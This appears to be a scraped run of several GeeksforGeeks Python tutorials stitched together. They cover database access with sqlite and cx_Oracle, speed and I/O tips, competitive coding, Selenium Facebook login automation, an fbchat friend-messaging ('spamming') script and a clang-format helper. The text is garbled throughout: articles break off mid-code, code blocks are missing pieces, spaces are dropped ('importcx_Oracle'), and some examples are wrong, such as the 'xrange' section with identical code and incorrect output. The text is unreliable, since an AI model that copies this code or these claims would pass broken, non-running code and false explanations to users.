# connect to the database.
conn, cur =connect()
try:
# the test database contains a table called emp
# the schema : (id INTEGER PRIMARY KEY,
# name VARCHAR(10), salary INT, dept INT)
# create the emp table
cur.execute('CREATE TABLE emp (idINTPRIMARY KEY, name VARCHAR(10),
salary INT, dept INT)')
# the commit function permanently
# saves the changes made to the database
# the rollback() function can be used if
# there are any undesirable changes and
# it simply undoes the changes of the
# previous query
except:
print('error')
conn.commit()
# a function to insert data
# into the emp table
definsert_data(id=1, name ='', salary =1000, dept =1):
conn, cur =connect()
try:
# inserting values into the emp table
cur.execute('INSERT INTO emp VALUES(%s, %s, %s, %s)',
Sometimes as part of programming, we required to work with the databases because we want to store a huge amount of information so we use databases, such as Oracle, MySQL, etc. So In this article, we will discuss the connectivity of Oracle database using Python. This can be done through the module name cx_Oracle.
Oracle Database For communicating with any database through our Python program we require some connector which is nothing but the cx_Oracle module.
For installing cx-Oracle :
If you are using Python >= 3.6 use the below command in Linux: –
pip install cx-Oracle
If you are using Python >= 3.6 use the below command in Windows: –
py -m pip install cx-Oracle
By this command, you can install cx-Oracle package but it is required to install Oracle database first on your PC.
Import database specific module Ex. import cx_Oracle
connect(): Now Establish a connection between the Python program and Oracle database by using connect() function.
con = cx_Oracle.connect('username/password@localhost')
cursor(): To execute a SQL query and to provide results some special object is required that is nothing but cursor() object.
cursor = cx_Oracle.cursor()
execute/executemany method :
cursor.execute(sqlquery) – – – -> to execute a single query. cursor.executemany(sqlqueries) – – – -> to execute a single query with multiple bind variables/place holders.
commit(): For DML(Data Manipulation Language) queries that comprise operations like update, insert, delete. We need to commit() then only the result reflects in the database.
fetchone(), fetchmany(int), fetchall():
fetchone() : This method is used to fetch one single row from the top of the result set.
fetchmany(int): This method is used to fetch a limited number of rows based on the argument passed in it.
fetchall() : This method is used to fetch all rows from the result set.
close(): After all done it is mandatory to close all operations.
cursor.close()
con.close()
Execution of SQL statement:
1. Creation of table
Python3
# importing module
importcx_Oracle
# Create a table in Oracle database
try:
con =cx_Oracle.connect('tiger/scott@localhost:1521/xe')
# then also we can close the all database operation
finally:
ifcursor:
cursor.close()
ifcon:
con.close()
Output:
Table Created successfully
DDL statements don’t require to be committed. They are automatically committed. In the above program, I have used execute() method to execute an SQL statement.
2. Inserting a record into table using execute() method
Python3
# importing module
importcx_Oracle
# Inserting a record into a table in Oracle database
try:
con =cx_Oracle.connect('tiger/scott@localhost:1521/xe')
cursor =con.cursor()
#con.autocommit = True
# Inserting a record into table employee
cursor.execute('insert into employee values(10001,\'Rahul\',50000.50)')
# commit() to make changes reflect in the database
con.commit()
print('Record inserted successfully')
exceptcx_Oracle.DatabaseError as e:
print("There is a problem with Oracle", e)
# by writing finally if any error occurs
# then also we can close the all database operation
finally:
ifcursor:
cursor.close()
ifcon:
con.close()
Output:
Record inserted successfully
Once we execute any DML statement it is required to commit the transaction. You can commit a transaction in 2 ways: –
con.commit(). This is used to commit a transaction manually.
con.autocommit = True. This is used to commit a transaction automatically.
3. Inserting multiple records into a table using executemany() method
Python3
importcx_Oracle
# Load data from a csv file into Oracle table using executemany
try:
con =cx_Oracle.connect('tiger/scott@localhost:1521/xe')
exceptcx_Oracle.DatabaseError as er:
print('There is an error in Oracle database:', er)
else:
try:
cur =con.cursor()
data =[[10007, 'Vikram', 48000.0], [10008, 'Sunil', 65000.1], [10009, 'Sameer', 75000.0]]
cur =con.cursor()
# Inserting multiple records into employee table
# (:1,:2,:3) are place holders. They pick data from a list supplied as argument
cur.executemany('insert into employee values(:1,:2,:3)', data)
exceptcx_Oracle.DatabaseError as er:
print('There is an error in Oracle database:', er)
exceptException as er:
print(er)
else:
# To commit the transaction manually
con.commit()
print('Multiple records are inserted successfully')
finally:
ifcur:
cur.close()
ifcon:
con.close()
Output:
Multiple records are inserted successfully
There might be times when it is required to execute a SQL statement multiple times based on the different values supplied to it each time. This can be achieved using executemany() method. We supply a list containing a list of values that will replace placeholders in a SQL query to be executed.
From the above case
:1 is substituted by value 10007
:2 is substituted by value ‘Vikram’
:3 is substituted by value 48000.0
And so on(next list of values in a given list)
Similarly, you can supply a list of dictionaries. But instead of placeholder, we will use the bind variable( discussed later).
4. View result set from a select query using fetchall(), fetchmany(int), fetchone()
Python3
importcx_Oracle
try:
con =cx_Oracle.connect('tiger/scott@localhost:1521/xe')
exceptcx_Oracle.DatabaseError as er:
print('There is an error in the Oracle database:', er)
else:
try:
cur =con.cursor()
# fetchall() is used to fetch all records from result set
cur.execute('select * from employee')
rows =cur.fetchall()
print(rows)
# fetchmany(int) is used to fetch limited number of records from result set based on integer argument passed in it
cur.execute('select * from employee')
rows =cur.fetchmany(3)
print(rows)
# fetchone() is used fetch one record from top of the result set
cur.execute('select * from employee')
rows =cur.fetchone()
print(rows)
exceptcx_Oracle.DatabaseError as er:
print('There is an error in the Oracle database:', er)
In this case, I have passed a dictionary in execute() method. This dictionary contains the name of the bind variable as a key, and it’s corresponding value. When the SQL query is executed, value from the key is substituted in place of bind variable.
My Personal Notesarrow_drop_up
10 Essential Python Tips And Tricks For Programmers
Python is one of the most preferred languages out there. Its brevity and high readability makes it so popular among all programmers. So here are few of the tips and tricks you can use to bring up your Python programming game.
1. In-Place Swapping Of Two Numbers.
x, y =10, 20
print(x, y)
x, y =y, x
print(x, y)
Output:
10 20
20 10
2. Reversing a string in Python
a ="GeeksForGeeks"
print("Reverse is", a[::-1])
Output:
Reverse is skeeGroFskeeG
3. Create a single string from all the elements in list
a =["Geeks", "For", "Geeks"]
print(" ".join(a))
Output:
Geeks For Geeks
4. Chaining Of Comparison Operators.
n =10
result =1< n < 20
print(result)
result =1> n <=9
print(result)
Output:
True
False
4. Print The File Path Of Imported Modules.
importos
importsocket
print(os)
print(socket)
Output:
<module 'os' from '/usr/lib/python3.5/os.py'>
<module 'socket' from '/usr/lib/python3.5/socket.py'>
Python is indeed one of the smart and most trending languages. Here are some cool hacks that make python superb among all other languages.
List comprehensions: List comprehension is the best and efficient technique to get rid of writing unnecessary lines of code. Read Article to know more.
Printing a list: The list is not printed according to the user’s requirement. They are always printed in unwanted square brackets and single quotes. But there is a trivial solution to print the list efficiently by using the string’s join method. The join method turns the list into a string by casting each item into a string and connecting them with the string that joins was called on.
print('List by using join method: %s'%', '.join(geek))
# Direct use of join method
print('Direct apply the join method:',(", ".join(geek)))
Output:
Simple List: ['Geeks', 'Programming', 'Algorithm', 'Article']
List by using join method: Geeks, Programming, Algorithm, Article
Direct apply the join method: Geeks, Programming, Algorithm, Article
Explanation: [iter(geek)] * 2 produces a list containing 2 items of geek[] list, i.e. a list of length 2. *arg unpacks a sequence into arguments for a function call. Therefore we are passing the same iterator 2 times to zip().
Printing more than one list’s items simultaneously
Python
list1 =[1, 3, 5, 7]
list2 =[2, 4, 6, 8]
# Here zip() function takes two equal length list and merges them
# together in pairs
fora, b inzip(list1,list2):
print(a, b)
Output:
1 2
3 4
5 6
7 8
Take the string as input and convert it into the list:
Python3
# Reads a string from input and type case them to int
# after splitting to white-spaces
formatted_list =list(map(int, input().split()))
print(formatted_list)
Input:
2 4 5 6
Output:
[2, 4, 5, 6]
Convert the list of list into a single list
Python3
# import the itertools
importitertools
# Declaring the list geek
geek =[[1, 2], [3, 4], [5, 6]]
# chain.from_iterable() function returns the
# elements of nested list
# and iterate from first list
# of iterable till the last
# end of the list
lst =list(itertools.chain.from_iterable(geek))
print(lst)
Output:
[1, 2, 3, 4, 5, 6]
Printing the repeated characters: The task is to print the pattern like this Geeeeekkkkss. So we can easily print this pattern without using it for a loop.
Python
# + used for string concatenation
# To repeat the character n times, just multiply n
This article is contributed by Shubham Bansal. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Python is an amazingly user-friendly language with the only flaw of being slow. In comparison to C, C++, and Java, it is quite slower. Online coding platforms, if C/C++ limit provided is X. Usually, in Java time provided is 2X and Python, it’s 5X. To improve the speed of code execution for input/output intensive problems, languages have various input and output procedures.
An Example Problem : Consider a question of finding the sum of N numbers inputted from the user. Input a number N. Input N numbers are separated by a single space in a line.
Examples:
Input :
5
1 2 3 4 5
Output :
15
Different Python solutions for the above Problem :
Normal Method Python: (Python 2.7) 1. raw_input() takes an optional prompt argument. It also strips the trailing newline character from the string it returns. 2. print is just a thin wrapper that formats the inputs (space between args and newline at the end) and calls the write function of a given object.
Python3
# basic method of input output
# input N
n =int(input())
# input the array
arr =[int(x) forx ininput().split()]
# initialize variable
summation =0
# calculate sum
forx inarr:
summation +=x
# print answer
print(summation)
A bit faster method using inbuilt stdin, stdout: (Python 2.7) 1. sys.stdin on the other hand is a File Object. It is like creating any other file object one could create to read input from the file. In this case, the file will be a standard input buffer. 2. stdout.write(‘D\n’) is faster than print ‘D’. 3. Even faster is to write all once by stdout.write(“”.join(list-comprehension)) but this makes memory usage dependent on the size of the input.
Python3
# import inbuilt standard input output
fromsys importstdin, stdout
# suppose a function called main() and
# all the operations are performed
defmain():
# input via readline method
n =stdin.readline()
# array input similar method
arr =[int(x) forx instdin.readline().split()]
#initialize variable
summation =0
# calculate sum
forx inarr:
summation +=x
# could use inbuilt summation = sum(arr)
# print answer via write
# write method writes only
# string operations
# so we need to convert any
# data into string for input
stdout.write(str(summation))
# call the main method
if__name__ =="__main__":
main()
The difference in time:
Timing summary (100k lines each) ——————————– Print : 6.040 s Write to file : 0.122 s Print with Stdout : 0.121 s
As we have seen till now that taking input from the standard system and giving output to the standard system is always a good idea to improve the efficiency of the code which is always a need in Competitive programming. But wait! would you like to write these long lines every time when you need them? Then, what’s the benefit of using Python. Let’s discuss the solution to this problem. What we can do is let’s create separate functions for taking inputs of various types and just call them whenever you need them.
When you want to take input of particular integers of integers given in a single line
Suppose the input is of the following form
5 7 19 20
and we want separate variables to reference them. what we want is:
a = 5
b = 7
c = 19
d = 20
so, we can create a function named as get_ints() as follows:
Now you don’t have to write this line again and again. You just have to call the get_ints() function in order to take input in this form. In the function get_ints we are using the mapfunction.
When you want to take input of list of integers given in a single line
Suppose the input is of the following form
1 2 3 4 5 6 7 8
and we want that a single variable will hold the whole list of integers. What we want is :
Arr = [1, 2, 3, 4, 5, 6, 7, 8]
So, here we will create a function named get_list() as follows:
Now you don’t have to write this line again and again. You just have to call the get_string() function in order to take input in this form Adding a buffered pipe io: (Python 2.7) 1. Simply, adding the buffered IO code before your submission code to make the output faster. 2. The benefit of io.BytesIO objects is that they implement a common interface (commonly known as a ‘file-like’ object). BytesIO objects have an internal pointer and for every call to read(n) the pointer advances. 3. The atexit module provides a simple interface to register functions to be called when a program closes down normally. The sys module also provides a hook, sys.exitfunc, but only one function can be registered there. The atexit registry can be used by multiple modules and libraries simultaneously.
Python3
# template begins
#####################################
# import libraries for input/ output handling
# on generic level
importatexit, io, sys
# A stream implementation using an in-memory bytes
# buffer. It inherits BufferedIOBase.
buffer=io.BytesIO()
sys.stdout =buffer
# print via here
@atexit.register
defwrite():
sys.stdout.write(buffer.getvalue())
#####################################
# template ends
# normal method followed
# input N
n =int(input())
# input the array
arr =[int(x) forx ininput().split()]
# initialize variable
summation =0
# calculate sum
forx inarr:
summation +=x
# print answer
print(summation)
While handling a large amount of data usually, the normal method fails to execute within the time limit. Method 2 helps in maintaining a large amount of I/O data. Method 3 is the fastest. Usually, handling of input data files greater than 2 or 3 MBs is helped via methods 2 and 3. Note: above mention codes are in Python 2.7, to use in Python 3.X versions. Simply replace the raw_input() with Python 3.X’s input() syntax. Rest should work fine. References: 1.More About Input in Python 2.7 2.Output via sys library and other commands. 3.Input via sys library and other commands. 4. Python atexit Module docs. This article is contributed by Shubham Saxena. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
In this article, some interesting optimization tips for Faster Python Code are discussed. These techniques help to produce result faster in a python code.
Use builtin functions and libraries: Builtin functions like map() are implemented in C code. So the interpreter doesn’t have to execute the loop, this gives a considerable speedup. The map() function applies a function to every member of iterable and returns the result. If there are multiple arguments, map() returns a list consisting of tuples containing the corresponding items from all iterables.
# Python program to illustrate library functions
# save time while coding with the example of map()
importtime
# slower (Without map())
start =time.clock()
s ='geeks'
U =[]
forc ins:
U.append(c.upper())
print(U)
elapsed =time.clock()
e1 =elapsed -start
print("Time spent in function is: ", e1)
# Faster (Uses builtin function map())
s ='geeks'
start =time.clock()
U =map(str.upper, s)
print(U)
elapsed =time.clock()
e2 =elapsed -start
print("Time spent in builtin function is: ", e2)
Output:
['G', 'E', 'E', 'K', 'S']
Time spent in function is: 0.0394747945637
['G', 'E', 'E', 'K', 'S']
Time spent in builtin function is: 0.0212335531192
The packages are platform-specific, which means that we need the appropriate package for the platform we’re using. If we are doing string operation, consider using an existing module ‘collections’ like deque which is highly optimized for our purposes.
# Python program to illustrate
# importing list-like container with
# fast appends and pops on either end
fromcollections importdeque
s ='geek'
# make a new deque
d =deque(s)
# add a new entry to the right side
d.append('y')
# add a new entry to the left side
d.appendleft('h')
print(d)
d.pop() # return and remove the rightmost item
d.popleft() # return and remove the lefttmost item
Use keys for sorts: In Python, we should use the key argument to the built-in sort instead, which is a faster way to sort.
# Python program to illustrate
# using keys for sorting
somelist =[1, -3, 6, 11, 5]
somelist.sort()
print(somelist)
s ='geeks'
# use sorted() if you don't want to sort in-place:
s =sorted(s)
print(s)
Output:
[-3, 1, 5, 6, 11]
['e', 'e', 'g', 'k', 's']
In each case the list is sorted according to the index you select as part of the key argument. This approach works just as well with strings as it does with numbers.
Optimizing loops: Write idiomatic code: This may sound counter-intuitive but writing idiomatic code will make your code faster in most cases. This is because Python was designed to have only one obvious/correct way to do a task. For example (String Concatenation):
# Python program to illustrate using
# optimized loops for faster coding
# slow O(n^2) - ( Note: In latest implementations it is O(n) )
s ='hellogeeks'
slist =''
fori ins:
slist =slist +i
print(slist)
# string concatenation (idiomatic and fast O(n))
st ='hellogeeks'
slist =''.join([i fori ins])
print(slist)
# Better way to iterate a range
evens =[ i fori inrange(10) ifi%2==0]
print(evens)
# Less faster
i =0
evens =[]
whilei < 10:
ifi %2==0:
evens.append(i)
i +=1
print(evens)
# slow
v ='for'
s ='geeks '+v +' geeks'
print(s)
# fast
s ='geeks %s geeks'%v
print(s)
Output:
hellogeeks
[0, 2, 4, 6, 8]
geeks for geeks
Every time running a loop to s(i), Python evaluates the method. However, if you place the evaluation in a variable, the value is already known and Python can perform tasks faster.
Try multiple coding approaches: Using precisely the same coding approach every time we create an application will almost certainly result in some situations where the application runs slower than it might. For example (Initializing Dictionary Elements):
The output is the same in both cases. The only difference is how the output is obtained.
Use xrange instead of range:range() – This returns a list of numbers created using range() function. xrange() – This function returns the generator object that can be used to display numbers only by looping. Only particular range is displayed on demand and hence called “lazy evaluation”.
# slower
x =[i fori inrange(0,10,2)]
print(x)
# faster
x =[i fori inrange(0,10,2)]
print(x)
Output:
[1, 3, 5, 7, 9]
This could save you system memory because xrange() will only yield one integer element in a sequence at a time. Whereas range(), it gives you an entire list, which is unnecessary overhead for looping.
Use Python multiple assignment to swap variables: This is elegant and faster in Python.
# Python program to illustrate swapping
# of a variable in one line
# slower
x =2
y =5
temp =x
x =y
y =temp
print(x,y)
x,y =3,5
# faster
x, y =y, x
print(x,y)
Output:
5 2
5 3
Use local variable if possible: Python is faster retrieving a local variable than retrieving a global variable. That is, avoid the “global” keyword. So if you are going to access a method often (inside a loop) consider writing it to a variable.
# Python program to illustrate trying
# to use local variables to make code
# run faster
classTest:
deffunc(self,x):
print(x+x)
# Declaring variable that assigns class method object
This article is contributed by Afzal Ansari. If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Using import * in python programs is considered a bad habit because this way you are polluting your namespace, the import * statement imports all the functions and classes into your own namespace, which may clash with the functions you define or functions of other libraries that you import. Also it becomes very difficult at some times to say from which library does a particular function came from. The risk of overriding the variables/functions etc always persist with the import * practice.
Below are some points about why import * should not be used:
Code Readability
It is always remains a mystery what is imported and cannot be found easily from which module a certain thing was imported that result in low code readability.
Polluting the namespace, import * imports all the functions and classes in your own namespace that may clash with the function and classes you define or function and classes of other libraries that you may import.
Concrete possibility of hiding bugs
Tools like pyflakes can’t be used to statically detect errors in the source code.
All of this does not mean that using import * is always bad, if i had told you that there is nothing like import * thing on this universe you would have been craving for it. The only thing you should remember while using import * is that you should always use this carefully and with discipline maintained.
Now lets dive into an example to see the problem in a more practical and easy to understand way.
consider a package a that contains a function sum (a, b)
# import the module a using import *
froma import*
# define a function sum
defsum(x, y):
returnx +y
print(sum(2, 6))
the error with this code is that the sum function that we define overrides the sum function from the module ‘a’ that we imported and we don’t even have any idea about it. also it becomes very difficult to identify which function is actually being called in case of large programs.
Correct method:
# import the module a as l
importa as l
defsum(x, y):
returnx +y
# calls the self-defined sum function
print(sum(2, 6))
# calls the sum function defined in the module a
print(l.sum(2, 6))
Coding this way increases code readability as well as it becomes easy to debug and there are almost zero chances that any conflict will occur.
When it comes to Product Based Companies, they need good coders and one needs to clear the Competitive Coding round in order to reach the interview rounds. Competitive coding is one such platform that will test your mental ability and speed at the same time.
Who should read this?
Any programmer who still hasn't tried python for
Competitive Coding MUST give this article a read.
This should clear up any doubts one has before
shifting to python.No matter how comfortable a programming language may seem to you right now Python is bound to feel even better.
Python has a tendency of sticking to people
like a bad habit !!
SPEED is a factor where python is second to none. The amount of code to be typed decreases drastically in comparison to conventional programming languages like C, C++, JAVA. Another most important point is that python arms its users with a wide variety of functionality, packages, and libraries that act as a supplement to the programmer’s mental ability. Ultimately the best thing about python is that it’s very simple and we need not waste much time on trivial matters like input, output, etc. It helps shift our focus to the problem at hand. Here I’m gonna list out some of my favorite features of Python which I’m sure will encourage you to start trying python for Competitive Coding.
1.Variable Independence Python doesn’t require us to declare variables and their Data-Types before using them. This also gives us the flexibility of range as long as it’s within reasonable limits of the Hardware i.e. no need to worry about integer and long integer. Type conversion is internally handled with flawless results.
Amazing Fact !!
For nested loops in python we can use the
same variable name in both inner and outer
for-loop variables without fear of
inconsistent data or any errors !!
2.Common Functions like sorted, min, max, count, etc. The min/max function helps us to find the minimum/maximum element from a list. The Sorted function allows us to sort a list and the count function helps us to count the number of occurrences of a particular element in a list. The best thing is that we can rest assured that the python libraries use the best possible algorithms for each of the above operations. For example, the sorted function is a very special sorting algorithm called TIMSORT that has a worst-case time complexity of O(n log n) which is the best a sorting algorithm can offer.
print('Number of occurrences of 87 is = ',arr.count(87))
Output:
('Maximum = ', 90)
('Minimum = ', 10)
('The sorted array is = ', [10, 22, 45, 66, 76, 84, 87, 87, 87, 87, 90])
('Number of occurrences of 87 is = ', 4)
3.Lists in python combine the best aspects of arrays and linked lists. Python lists provide the unique functionality of deleting specific elements while keeping the memory locations in a contiguous manner. This feature renders the concept of Linked lists null and void. It’s like a linked list on STEROIDS! Moreover, Insertions can be performed at any desired location.
4.Unique list operations – Backtracking, Sub-Lists. In case we are not sure about the list size then we can use the index position of -1 to access the last element. Similarly, -2 can be used for the second last element and so on. Thus we can backtrack a list. Also, we don’t have to specify any particular list size so it also works as a dynamic allocation array. A specific portion of a list can be extracted without having to traverse the list as is seen in the above example. A very astonishing fact about lists is that they can hold different data types. Gone are the days where lists used to be a homogeneous collection of data elements!!
Functions can return more than one value. Typically functions in other programming languages can return only one value but in python, we can return more than one value!! as is seen in the following code snippet.
5.A flexible number of arguments to a function. Arguments to a function may be passed in the form of a list whose size may vary every time we need to call the function. In the above example, we first called the function with 2 arguments and then with 5 arguments!!
If else and for loops are much more User Friendly. The if-else statement of python allows us to search for a particular element in a list without the need of traversing the entire list and checking each element. Some programming languages have a concept of a for each loop which is slightly different from a for a loop. It allows us to traverse a list where the loop variable takes upon the list values one by one. Python incorporates each loop concept in the for loop itself.
Python
# Python code to demonstrate quick searching
arr =[1, 2, 3, 4, 5, 6, 7, 8, 9]
# searching made easy
if3inarr:
print("YES")
else:
print("NO")
#foreach loop
fori inarr:
print(i,end =' ')
Output:
YES
1 2 3 4 5 6 7 8 9
Code Indentation. Python blocks of code are distinguished on the basis of their indentation. This provides better code readability and instills in us a good habit of indenting our code.
Concept of Sets and Dictionaries. A Set is an unordered collection data type that is iterable, mutable and has no duplicate elements. It’s like a list that doesn’t allow duplicate elements. A dictionary is like a list whose values can be accessed by user-defined keys instead of conventional numeric index values.
{'d', 'a', 'e', 'b', 'c'}
dict['Name']: Zara
dict['Age']: 7
Robust input statements. In competitive coding, we are often required to take ‘n’ space-separated integers as input and preferably save them in a list/array. Python provides functionality to do it all in a single line of code.!!
Python is one such programming language that makes everything easier and straight forward. Anyone who has dabbled in python for Competitive Coding gets somewhat addicted to its many features. Here is a list of some of its cool features that I’ve found most useful in a competitive coding environment.
The most_common function of the Counter Package. This is probably the most useful function I’ve ever used and its always at the back of my mind while writing any python code. This function analyses a list/string and helps to return the top n entities in the list/string according to their number of occurrences in descending order where n is a number that is specified by the programmer. The individual entities are returned along with their number of occurrences in a tuple which can easily be referred/printed as and when required.
The output tuple clearly states that 1 has occurred 5 times, 3 has occurred 4 times, and 4 has occurred 3 times.
The n-largest/n-smallest function of the heapq Package. This function helps to return the top n smallest/largest elements in any lists and here again n is a number specified by the programmer.
Python
# Python code to find 3 largest and 4 smallest
# elements of a list.
importheapq
grades =[110, 25, 38, 49, 20, 95, 33, 87, 80, 90]
print(heapq.nlargest(3, grades))
print(heapq.nsmallest(4, grades))
Output:
[110, 95, 90]
[20, 25, 33, 38]
The first line of output gives 3 of the largest numbers present in the list grades. Similarly the second line of output prints out 4 of the smallest elements present in the list grades. Another speciality of this function is that it does not overlook repetitions. So in place of n if we were to place the length of the array the we would end up with the entire sorted array itself !!
Dictionary and concept of zipping Dictionaries Dictionaries in python are truly fascinating in terms of the unique functionality that they offer. They are stored as a Key and Value pair in the form of an array like structure. Each value can be accessed by its corresponding key. The zip function is used to join two lists together or we can even join the key and value pairs in a dictionary together as a single list. The application of this concept will be made clear in the following code snippet.
The Map function. This function is a sneaky little shortcut that allows us to implement a simple function on a list of values in a very Unconventional Manner. The following example will give a simple application of this functionality. The function takes as parameters the function name and the name of the list the function needs to be applied upon.
Python
# Python code to apply a function on a list
income =[10, 30, 75]
defdouble_money(dollars):
returndollars *2
new_income =list(map(double_money, income))
print(new_income)
Output:
[20, 60, 150]
Here, we just implemented a simple function which multiplies each list value by two and returns it as a new list.
Concatenation of list of strings Suppose we have been given a list of strings and we have to give the output by concatenating the list Let’s look at the previous code what we were doing:
Python
string =""
lst =["Geeks", "for", "Geeks"]
fori inlst:
string +=i
print(string)
This method of joining a list of strings is definitely not the best method because everytime a new string will be created
Python
lst =["Geeks", "for", "Geeks"]
string =''.join(lst)
print(string)
Using join() function is memory efficient as well as handy to write which definitely proves to be the advantages over the previous code.
Individually these functions might look innocent but will definitely come in handy in a TIME LIMITED CODING ENVIRONMENT in the sense that they offer large functionality in a VERY short amount of code. The functionalities discussed have very specific applications and act like a SHORTCUT or a CHEAT-SHEET in competitive coding. Having these useful tricks up your sleeve might just give someone the COMPETITIVE EDGE that they were looking for !! This article is contributed by Siddhant Bajaj. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
My Personal Notesarrow_drop_up
Python program to crawl a web page and get most frequent words
The task is to count the most frequent words, which extracts data from dynamic sources. First, create a web crawler or scraper with the help of the requests module and a beautiful soup module, which will extract data from the web pages and store them in a list. There might be some undesired words or symbols (like special symbols, blank spaces), which can be filtered in order to ease the counts and get the desired results.
After counting each word, we also can have the count of most (say 10 or 20) frequent words. Modules and Library functions used :
requests : Will allow you to send HTTP/1.1 requests and many more. beautifulsoup4 : Used for parsing HTML/XML to extract data out of HTML and XML files. operator : Exports a set of efficient functions corresponding to the intrinsic operators. collections : Implements high-performance container datatypes.
Below is an implementation of the idea discussed above :
Python scripting is one of the most intriguing and fascinating things to do meanwhile learning Python. Automation and controlling the browser is one of them.
In this particular article, we will see how to log in to the Facebook account using Python and the power of selenium.
Selenium automates and controls browsers and it’s activity. We can code in our way to control browser tasks with the help of selenium. Primarily, it is for automating web applications for testing purposes, but is certainly not limited to just that. Boring web-based administration tasks can be automated as well. As you learn more it’s so much fun to see things happening automatically and saving time in doing useless tasks again and again.
We use selenium here to open the site of our requirement (in this case Facebook) and there we inspect elements across email box, password box, and login button to find the id of them.
Using find_element_by_id() function provided by selenium module, we can find the required element (username box, password box, login button)
Using send_keys() function, provided by selenium module, we will send the data into the box.
Installing third party modules required
Selenium
getpass
Additional Requirement : geckodriver for firefox and
chromedriver for chrome
Importing necessary modules
Selenium : to automate browser
Time : to pause running of script for some seconds as browsers try to detect automation stuff if we input too fast
Taking username and password as input from user Using input() function and passing prompt message as argument.
Opening browser and required website webdriver.Chrome() will open new window of chrome. We will save it’s object in variable named driver. Now using get function we will open up the Facebook website.
Finding element for sending data and Sending input Use inspect element tool on the element of browser of which you want to find id. In this case we will inspect username box, password box, login button to find their id. And then use this id combining with selenium function find_element_by_id() to find it across web page and save it in variables for later use. Then by using send_keys() we will send data across the elements found previously.
Closing the browser After all of the above steps we have to quit the session and will be achieved by using driver.quit(). Note: Here driver is the name of variable you chose for webdriver.Chrome().
See how such a concise piece of code can automate things for you.
Bonus: We can also enter the password without displaying it on screen, for security purpose. For that we have to include one more module called getpass. Now with just one change in input statement of the password we can input password without displaying it on screen.
fromgetpass importgetpass
pwd =getpass('Enter Password:')
Getpass prompts the user for a password without echoing. Basically it lets you enter the password without showing it on the screen.
Similarly you can also automate many other things like twitter login, tweeting, Facebook logout, and much more.
In case of any queries, post them below in the comments section. If you liked this article and want to see any more of the similar stuff, let me know in the comments section below.
This article is contributed by Umang Ahuja. If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
The power of Python comes because of the large number of modules it has. This time we are going to use one of those. Every one of us, one time or another, has a wish of the message (or spamming -.-) our Facebook friend. This is a program that can do something similar. So without further delay, let’s jump right in.
Python3
importfbchat
fromgetpass importgetpass
username =input("Username: ")
client =fbchat.Client(username, getpass())
no_of_friends =int(raw_input("Number of friends: "))
fori inrange(no_of_friends):
name =input("Name: ")
friends =client.getUsers(name) # return a list of names
friend =friends[0]
msg =input("Message: ")
sent =client.send(friend.uid, msg)
ifsent:
print("Message sent successfully!")
Now, let’s try to understand the program step by step… Modules required – fbchat (Can be downloaded from here: Github link); getpass (usually it is pre-installed) fbchat Installation:
sudo pip install fbchat
In case you get the error: ** make sure the development packages of libxml2 and libxslt are installed ** In Ubuntu, installing the following packages might help:
Program explanation: The program can be broken down into several steps: Step – 1: Getting the user credentials This part is very easy. Using raw_input() and getpass() we can get the username and password. There are some things to keep in mind in this step.
Your Facebook account should have a username. You can check that (or set that) by going to your general settings.
We are not using raw_input to get a password because as soon as the characters (or even the password length) are out, we have got a security breach.
Step – 2: Entering the Facebook friend’s name Now that we have signed in, we can enter the number of friends we want to send the message to, and for each of those friends, we can enter the custom message. Step – 3: Spamming *evil*
Caution – I am not responsible for extensive usage of the program which can get you banned from Facebook or getting blocked by your friend. Get your own list of guinea pigs!
Because of some reason, if you want to send the same message several times, you can use a simple for loop. Nothing difficult about that 😉 What you can try out now?
Send a message to a group chat.
Instead of text only, send images as well.
Create your own ‘desktop’ messenger.
Facebook hack – Send a blank message Using the normal Facebook chat or messenger, it is not possible to send a blank message unless you are aware of the alt+0173 trick. But, with this program, you can send blank messages as well!! All you have to do is enter a blank message. That is, when the program asks for the message to be sent, just press enter, and voila!! Your friend will be receiving a series of blank messages… This new code works fine for now :
Python3
importfbchat
fromgetpass importgetpass
username =input("Username: ")
client =fbchat.Client(username, getpass())
no_of_friends =int(raw_input("Number of friends: "))
fori inrange(no_of_friends):
name =input("Name: ")
friends =client.searchForUsers(name) # return a list of names
friend =friends[0]
msg =input("Message: ")
sent =client.sendMessage(msg, thread_id=friend.uid)
ifsent:
print("Message sent successfully!")
If you have any other projects in mind concerned with this or if you have prepared some similar to this one, please do share in the comments section! This article is contributed by Vishwesh Ravi Shrimali. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
My Personal Notesarrow_drop_up
Creating a C/C++ Code Formatting tool with help of Clang tools
Today we are going to discuss formatting files in the user’s workspace by their extension. For this we are going to make use of Clang’s format tools.
Prerequisites:
Linux Machine
Python
Clang Tool
Setup:
Install Python using the following command:
sudo apt-get install python
Install Clang Format Tools
sudo apt-get install clang-format-3.5
Create a python file named format-code.py at any location where you have read and write permissions. In this example we are going to create it in /home/user/. It shall contain the following code:
# Python program to format C/C++ files using clang-format
importos
# File Extension filter. You can add new extension
Copy it to project’s directory i.e., it’s location becomes: /home/user/myproject/.clang-format
How to use it?
Navigate to the directory whose files you want to format, e.g.,
cd /home/user/myproject/c-source/
Run the format-code file that you created earlier
python /home/user/format-code.py
This shall format all the files in our source directory with the extension same as that mentioned in the code.
